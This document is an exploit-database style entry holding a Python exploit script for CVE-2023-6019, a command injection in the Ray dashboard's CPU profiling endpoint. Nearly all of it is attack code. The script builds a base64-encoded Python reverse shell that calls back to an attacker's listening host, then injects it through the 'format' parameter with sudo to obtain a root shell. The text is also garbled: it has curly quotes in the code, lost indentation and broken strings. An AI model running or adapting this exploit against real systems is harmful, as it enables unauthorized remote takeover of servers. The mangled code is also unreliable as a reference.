Ray OS 2.6.3 Command Injection
# Exploit Title: Ray OS v2.6.3 – Command Injection RCE(Unauthorized)
# Description:
# The Ray Project dashboard contains a CPU profiling page, and the format parameter is
# not validated before being inserted into a system command executed in a shell, allowing
# for arbitrary command execution. If the system is configured to allow passwordless sudo
# (a setup some Ray configurations require) this will result in a root shell being returned
# to the user. If not configured, a user level shell will be returned
# Version: <= 2.6.3
# Date: 2024-4-10
# Exploit Author: Fire_Wolf
# Tested on: Ubuntu 20.04.6 LTS
# Vendor Homepage: https://www.ray.io/
# Software Link: https://github.com/ray-project/ray
# CVE: CVE-2023-6019
# Refer: https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe
# ==========================================================================================
# !usr/bin/python3
# coding=utf-8
import base64
import argparse
import requests
import urllib3
proxies = {"http": "127.0.0.1:8080"}
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
}
def check_url(target, port):
target_url = target + ":" + port
https = 0
if 'http' not in target:
try:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
test_url = 'http://' + target_url
response = requests.get(url=test_url, headers=headers, verify=False, timeout=3)
if response.status_code != 200:
is_https = 0
return is_https
except Exception as e:
print("ERROR! The Exception is:" + format(e))
if https == 1:
return "https://" + target_url
else:
return "http://" + target_url
def exp(target,ip,lhost, lport):
payload = 'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("' + lhost + '",' + lport + '));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")\''
print("
Payload is: ” + payload)
b64_payload = base64.b64encode(payload.encode())
print(“
Base64 encoding payload is: ” + b64_payload.decode())
exp_url = target + ‘/worker/cpu_profile?pid=3354&ip=’ + str(ip) + ‘&duration=5&native=0&format=`echo ‘ + b64_payload.decode() + ‘ |base64$IFS-d|sudo%20sh`’
# response = requests.get(url=exp_url, headers=headers, verify=False, timeout=3, prxoy=proxiess)
print(exp_url)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get(url=exp_url, headers=headers, verify=False)
if response.status_code == 200:
print(“(-)ERROR: Exploit Failed,please check the payload.”)
else:
print(“(+)Exploit is finished,please check your machine!”)
if __name__ == ‘__main__’:
parser = argparse.ArgumentParser(
description=”’
⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⡠⠄⡄⡄⡠⡀⣀⡀⢒⠄⡔⡄⢒⠄⢒⠄⣀⡀⣖⡂⡔⡄⢴⠄⣖⡆⠄⠄⡤⡀⡄⡄
⠑⠂⠘⠄⠙⠂⠄⠄⠓⠂⠑⠁⠓⠂⠒⠁⠄⠄⠓⠃⠑⠁⠚⠂⠒⠃⠐⠄⠗⠁⠬⠃
⢰⣱⢠⢠⠠⡦⢸⢄⢀⢄⢠⡠⠄⠄⢸⠍⠠⡅⢠⡠⢀⢄⠄⠄⢸⣸⢀⢄⠈⡇⠠⡯⠄
⠘⠘⠈⠚⠄⠓⠘⠘⠈⠊⠘⠄⠄⠁⠘⠄⠐⠓⠘⠄⠈⠓⠠⠤⠘⠙⠈⠊⠐⠓⠄⠃⠄
⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
”’,
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument(‘-t’, ‘–target’, type=str, required=True, help=’tart ip’)
parser.add_argument(‘-p’, ‘–port’, type=str, default=80, required=False, help=’tart host port’)
parser.add_argument(‘-L’, ‘–lhost’, type=str, required=True, help=’listening host ip’)
parser.add_argument(‘-P’, ‘–lport’, type=str, default=80, required=False, help=’listening port’)
args = parser.parse_args()
# target = args.target
ip = args.target
# port = args.port
# lhost = args.lhost
# lport = args.lport
targeturl = check_url(args.target, args.port)
print(targeturl)
print(“
Checking in url: ” + targeturl)
exp(targeturl, ip, args.lhost, args.lport)
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